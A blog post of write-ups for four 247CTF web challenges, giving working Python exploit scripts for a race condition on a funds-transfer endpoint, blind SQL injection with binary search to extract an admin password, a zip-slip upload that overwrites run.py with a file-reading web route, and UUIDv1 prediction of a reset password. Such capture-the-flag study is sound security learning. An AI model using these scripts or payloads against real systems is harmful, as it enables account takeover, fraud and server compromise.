247CTF

Here are some writeups for 247CTF, which are mostly web challenges.

ACID

We’re given a page that has two accounts.

You can transfer funds between the two accounts with the parameter ?to=1&from=2&amount=1

To get the flag, you require more than the total available funds at the start, which is 247.

If we transfer the funds manually in a single session, we can never get the sum to be > 247. Instead, as the challenge title hints, the transactions are not ACID, and can be exploited with multiple concurrent events.

By scripting multiple transfer requests in parallel, we’re able to get the funds to be above 247

import requests
from concurrent.futures import ThreadPoolExecutor

url = [
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        "https://97fad89625db3c9b.247ctf.com/?to=2&from=1&amount=1",
        ]


def get_url(url):
    return requests.get(url)
with ThreadPoolExecutor(max_workers=50) as pool:
    print(list(pool.map(get_url,url)))

APIFlag

We can get a token from /api/get_token that allows us to make only 128 requests

We also have a Blind SQL injection vulnerability in /api/login at username.

Finally, we need the admin’s exact password to get the flag at /api/get_flag

The Blind SQL Injection allows us to query admin' where password like "a%“;–

The problem is that the admin’s password is 32 characters long, hexadecimal password. That means if we bruteforce it with the query above, we require 32 * 16 = 512 queries, which is way above the allowable limit for the token.

The trick here is to use the search algorithm Binary Search to more efficiently search for the character. With SQLite, we can query something like

admin' and SUBSTR(password,1,1) BETWEEN '0' AND '7'--"

and if the query returns true, we can search down the other half.

admin' and SUBSTR(password,1,1) BETWEEN '0' AND '3'--"

Using this approach, we can reduce the number of searches for a character to be at most 4, and given the worst case scenario, the total number of search will be 4 * 32 = 128, which is exactly the amount of queries allowed by the api

import requests

login_url = "https://f8d67a10fd0148df.247ctf.com/api/login"
get_token_url = "https://f8d67a10fd0148df.247ctf.com/api/get_token"
get_flag_url = "https://f8d67a10fd0148df.247ctf.com/api/get_flag"


key = "1dd740311b46c81fc08312b09167c6b1"

def query_range(str_pos, bottom, top):
    bottom_char = chr(bottom)
    top_char = chr(top)

    print(f"trying {bottom_char}, {top_char} at position {str_pos}")

    data = {
            'username': "admin' and SUBSTR(password," + str_pos + ",1) BETWEEN '" + bottom_char + "' AND '" + top_char + "'--",
            'password':"",
            'api':key
            }

    r = requests.post(login_url, data=data)

    return r


def query_direct(str_pos, val):
    val_char = chr(val)
    print(f"trying {val_char}")

    data = {
            'username': "admin' and SUBSTR(password," + str_pos + ",1) == '" + val_char +"'--",
            'password':"",
            'api':key
            }

    r = requests.post(login_url, data=data)

    return r


def get_flag(password):
    data = {
            'password':password,
            }

    r = requests.post(get_flag_url, data=data)

    return r

possible_chars= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
possible_ords = list(map(ord, possible_chars))


def binary_search(str_pos, arr, low, high):

    mid = (high + low) // 2

    # if there are only 2 elements 
    if high - low == 1:
        r_low = query_direct(str_pos, arr[low])
        if "Welcome back admin" in r_low.text:
            return low
        else:
            return high

    # if there are only 3 elements 
    if high - low == 2:
        r_low = query_direct(str_pos, arr[low])

        if "Welcome back admin" in r_low.text:
            return low
        else:
            r_mid = query_direct(str_pos, arr[mid])
            if "Welcome back admin" in r_mid.text:
                return mid
            else:
                return high

    # query the lower range
    r = query_range(str_pos, arr[low], arr[mid])

    # present in lower range
    if "Welcome back admin" in r.text:
        print(f"in range of {low}, {mid-1}")
        return binary_search(str_pos, arr, low, mid)

    # present in the higher range
    else:
        print(f"in range of {mid+1}, {high}")
        return binary_search(str_pos, arr, mid + 1, high)


password = ""

for pos in range(32):
    # sqlite substr starts from 1
    str_pos = str(pos+1)

    res = binary_search(str_pos, possible_ords, 0, len(possible_ords)-1)

    pass_char = possible_chars[res]

    print(f"found: {pass_char}")

    password += pass_char

print(password)

r = get_flag(password)

print(r.text)

Slippery Upload

This challenge uses the SLIPZLIP vulnerability, which allows you to write arbitrary files to any location.

Taking advantage of this, we can write Python code to reach and print the contents of all files in a specific location

Since path to run.py relative to uploads is ../../app/run.py, we need to move this file ../../app/run.py on our local system, and call

zip evil.zip ../../app/run.py

Finally we send the code over to the server curl -X POST -Fzarchive=@evil.zip https://bcb5023b48f8f274.247ctf.com/zip_upload

from flask import Flask, request
import zipfile, os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'

@app.route('/')
def source():
    return '%s' % open('/app/run.py').read()

@app.route('/cmd')
def cmd():
    path = request.args.get('cmd')
    contents = ""

    for filename in os.listdir(path):
        with open(filename, 'rU') as f:
            t = f.read()
            content = filename + " Content  : " + t
            contents += content
            contents += "*"*90

    return contents


def zip_extract(zarchive):
    with zipfile.ZipFile(zarchive, 'r') as z:
        for i in z.infolist():
            with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
                f.write(z.open(i.filename, 'r').read())

@app.route('/zip_upload', methods=['POST'])
def zip_upload():
    try:
        if request.files and 'zarchive' in request.files:
            zarchive = request.files['zarchive']
            if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
                zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
                zarchive.save(zpath)
                zip_extract(zpath)
                return 'Zip archive uploaded and extracted!'
        return 'Only valid zip archives are acepted!'
    except:
         return 'Error occured during the zip upload process!'

if __name__ == '__main__':
    app.run()

Administrative ORM

In this challenge, we have a /get_flag page which shows the flag to only the administrator, and a /update_password which resets the password of the administrator.

We also have a /statistics page, which gets statistics of the current machine

The vulnerability here lies in how the password is reset, which uses uuid()

The function uuid() uses values and parameters obtainable from /statistics to generate a deterministic password, specifically Host MAC address, Sequence Number and the Current Time

We first reset the password, then scrape the /statistics page for relevant information to generate the uuid()


def generate_uuid():
    r = requests.get(URL+'/statistics')
    out = r.text.split()
    mac = out[6]
    ldate = out[50]
    ltime = out[51]
    clock_sequence = out[42]

    print ()
    print ("MAC              : "+mac)
    print ("Clock sequence   : "+str(clock_sequence))
    print ("Last reset       : "+ldate,ltime)

    # Pandas Timestamp.timestamp() function does not return nanoseconds.
    # https://github.com/pandas-dev/pandas/issues/29461
    # So we split this part.
    nseconds = pd.to_datetime(ldate, format='%Y-%m-%d').timestamp() * 1000 * 1000 * 1000
    # Add the missing nanoseconds to have exact result
    time_in_ns = str_to_ns(ltime)+int(nseconds)


    UUID = uuid1(parse_mac(mac), int(clock_sequence), int(time_in_ns))

    print('UUID.time        :', UUID.time)
    print('UUID.clock_seq   :', UUID.clock_seq)
    print('UUID.node        :', UUID.node)
    print("UUID generated is:", UUID)

    return str(UUID)

*taken from https://b4d.sablun.org/blog/2020-04-20-247ctf-com-web-administrative-orm/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: